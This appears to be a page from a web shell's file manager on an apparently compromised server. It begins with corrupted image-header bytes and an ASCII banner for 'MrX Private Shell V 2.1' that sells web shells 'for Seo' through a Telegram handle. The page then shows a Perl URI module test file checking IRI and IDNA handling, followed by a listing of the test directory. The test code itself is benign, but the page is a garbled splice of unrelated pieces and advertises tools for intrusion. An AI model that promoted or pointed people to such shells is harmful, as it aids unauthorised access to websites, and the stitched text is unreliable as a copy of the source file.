����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
use utf8;
use Test::More;
use Config qw( %Config );
if (defined $Config{useperlio}) {
plan tests=>30;
} else {
plan skip_all=>"this perl doesn't support PerlIO layers";
}
use URI ();
use URI::IRI ();
my $u;
binmode Test::More->builder->output, ':encoding(UTF-8)';
binmode Test::More->builder->failure_output, ':encoding(UTF-8)';
$u = URI->new("http://Bücher.ch");
is $u, "http://xn--bcher-kva.ch";
is $u->host, "xn--bcher-kva.ch";
is $u->ihost, "bücher.ch";
is $u->as_iri, "http://bücher.ch";
# example from the docs for host and ihost
$u = URI->new("http://www.\xC3\xBCri-sample/foo/bar.html");
is $u, "http://www.xn--ri-sample-fra0f/foo/bar.html";
is $u->host, "www.xn--ri-sample-fra0f";
is $u->ihost, "www.\xC3\xBCri-sample";
is $u->as_iri, "http://www.\xC3\xBCri-sample/foo/bar.html";
$u = URI->new("http://example.com/Bücher");
is $u, "http://example.com/B%C3%BCcher";
is $u->as_iri, "http://example.com/Bücher";
$u = URI->new("http://example.com/B%FCcher"); # latin1 encoded stuff
is $u->as_iri, "http://example.com/B%FCcher"; # ...should not be decoded
$u = URI->new("http://example.com/B\xFCcher");
is $u->as_string, "http://example.com/B%FCcher";
is $u->as_iri, "http://example.com/B%FCcher";
$u = URI::IRI->new("http://example.com/B\xFCcher");
is $u->as_string, "http://example.com/Bücher";
is $u->as_iri, "http://example.com/Bücher";
# draft-duerst-iri-bis.txt claims this should map to xn--rsum-bad.example.org
$u = URI->new("http://r\xE9sum\xE9.example.org");
is $u->as_string, "http://xn--rsum-bpad.example.org";
$u = URI->new("http://xn--rsum-bad.example.org");
is $u->as_iri, "http://r\x80sum\x80.example.org";
$u = URI->new("http://r%C3%A9sum%C3%A9.example.org");
is $u->as_string, "http://r%C3%A9sum%C3%A9.example.org";
is $u->as_iri, "http://r\xE9sum\xE9.example.org";
$u = URI->new("http://➡.ws/");
is $u, "http://xn--hgi.ws/";
is $u->host, "xn--hgi.ws";
is $u->ihost, "➡.ws";
is $u->as_iri, "http://➡.ws/";
# draft-duerst-iri-bis.txt examples (section 3.7.1):
is(URI->new("http://www.example.org/D%C3%BCrst")->as_iri, "http://www.example.org/D\xFCrst");
is(URI->new("http://www.example.org/D%FCrst")->as_iri, "http://www.example.org/D%FCrst");
TODO: {
local $TODO = "some chars (like U+202E, RIGHT-TO-LEFT OVERRIDE) need to stay escaped";
is(URI->new("http://xn--99zt52a.example.org/%e2%80%ae")->as_iri, "http://\x{7D0D}\x{8C46}.example.org/%e2%80%ae");
}
# try some URLs that can't be IDNA encoded (fallback to encoded UTF8 bytes)
$u = URI->new("http://" . ("ü" x 128));
is $u, "http://" . ("%C3%BC" x 128);
is $u->host, ("\xC3\xBC" x 128);
TODO: {
local $TODO = "should ihost decode UTF8 bytes?";
is $u->ihost, ("ü" x 128);
}
is $u->as_iri, "http://" . ("ü" x 128);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 00-report-prereqs.dd | File | 3.7 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.88 KB | 0644 |
|
| abs.t | File | 5.44 KB | 0644 |
|
| clone.t | File | 331 B | 0644 |
|
| cwd.t | File | 176 B | 0644 |
|
| data.t | File | 2.28 KB | 0644 |
|
| escape-char.t | File | 613 B | 0644 |
|
| escape.t | File | 2.88 KB | 0644 |
|
| file.t | File | 3.61 KB | 0644 |
|
| ftp.t | File | 803 B | 0644 |
|
| ftpes.t | File | 231 B | 0644 |
|
| ftps.t | File | 230 B | 0644 |
|
| generic.t | File | 3.71 KB | 0644 |
|
| geo_basic.t | File | 1.72 KB | 0644 |
|
| geo_construct.t | File | 2.1 KB | 0644 |
|
| geo_point.t | File | 429 B | 0644 |
|
| gopher.t | File | 1020 B | 0644 |
|
| heuristic.t | File | 3.35 KB | 0644 |
|
| http.t | File | 1.08 KB | 0644 |
|
| icap.t | File | 1.08 KB | 0644 |
|
| idna.t | File | 503 B | 0644 |
|
| ipv6.t | File | 220 B | 0644 |
|
| irc.t | File | 890 B | 0644 |
|
| ircs.t | File | 239 B | 0644 |
|
| iri.t | File | 2.71 KB | 0644 |
|
| ldap.t | File | 2.38 KB | 0644 |
|
| mailto.t | File | 2.34 KB | 0644 |
|
| mix.t | File | 1.44 KB | 0644 |
|
| mms.t | File | 555 B | 0644 |
|
| news.t | File | 1.01 KB | 0644 |
|
| num_eq.t | File | 389 B | 0644 |
|
| old-absconf.t | File | 730 B | 0644 |
|
| old-base.t | File | 34.04 KB | 0644 |
|
| old-file.t | File | 2.71 KB | 0644 |
|
| old-relbase.t | File | 748 B | 0644 |
|
| otpauth.t | File | 8.33 KB | 0644 |
|
| path-segments.t | File | 1000 B | 0644 |
|
| pop.t | File | 828 B | 0644 |
|
| punycode.t | File | 2.22 KB | 0644 |
|
| query-param.t | File | 1.96 KB | 0644 |
|
| query.t | File | 3.29 KB | 0644 |
|
| rel.t | File | 541 B | 0644 |
|
| rfc2732.t | File | 1.86 KB | 0644 |
|
| roy-test.t | File | 936 B | 0644 |
|
| roytest1.html | File | 7.32 KB | 0644 |
|
| roytest2.html | File | 3.56 KB | 0644 |
|
| roytest3.html | File | 3.01 KB | 0644 |
|
| roytest4.html | File | 3.63 KB | 0644 |
|
| roytest5.html | File | 3.28 KB | 0644 |
|
| rsync.t | File | 263 B | 0644 |
|
| rtsp.t | File | 651 B | 0644 |
|
| scheme-exceptions.t | File | 480 B | 0644 |
|
| scp.t | File | 283 B | 0644 |
|
| sftp.t | File | 285 B | 0644 |
|
| sip.t | File | 2.23 KB | 0644 |
|
| smb.t | File | 838 B | 0644 |
|
| smtp.t | File | 954 B | 0644 |
|
| sort-hash-query-form.t | File | 354 B | 0644 |
|
| split.t | File | 994 B | 0644 |
|
| sq-brackets-legacy.t | File | 1.08 KB | 0644 |
|
| sq-brackets.t | File | 8.01 KB | 0644 |
|
| ssh.t | File | 283 B | 0644 |
|
| storable-test.pl | File | 577 B | 0644 |
|
| storable.t | File | 234 B | 0644 |
|
| urn-isbn.t | File | 746 B | 0644 |
|
| urn-oid.t | File | 278 B | 0644 |
|
| urn-scheme-exceptions.t | File | 525 B | 0644 |
|
| userpass.t | File | 429 B | 0644 |
|
| utf8.t | File | 543 B | 0644 |
|
| ws.t | File | 1.06 KB | 0644 |
|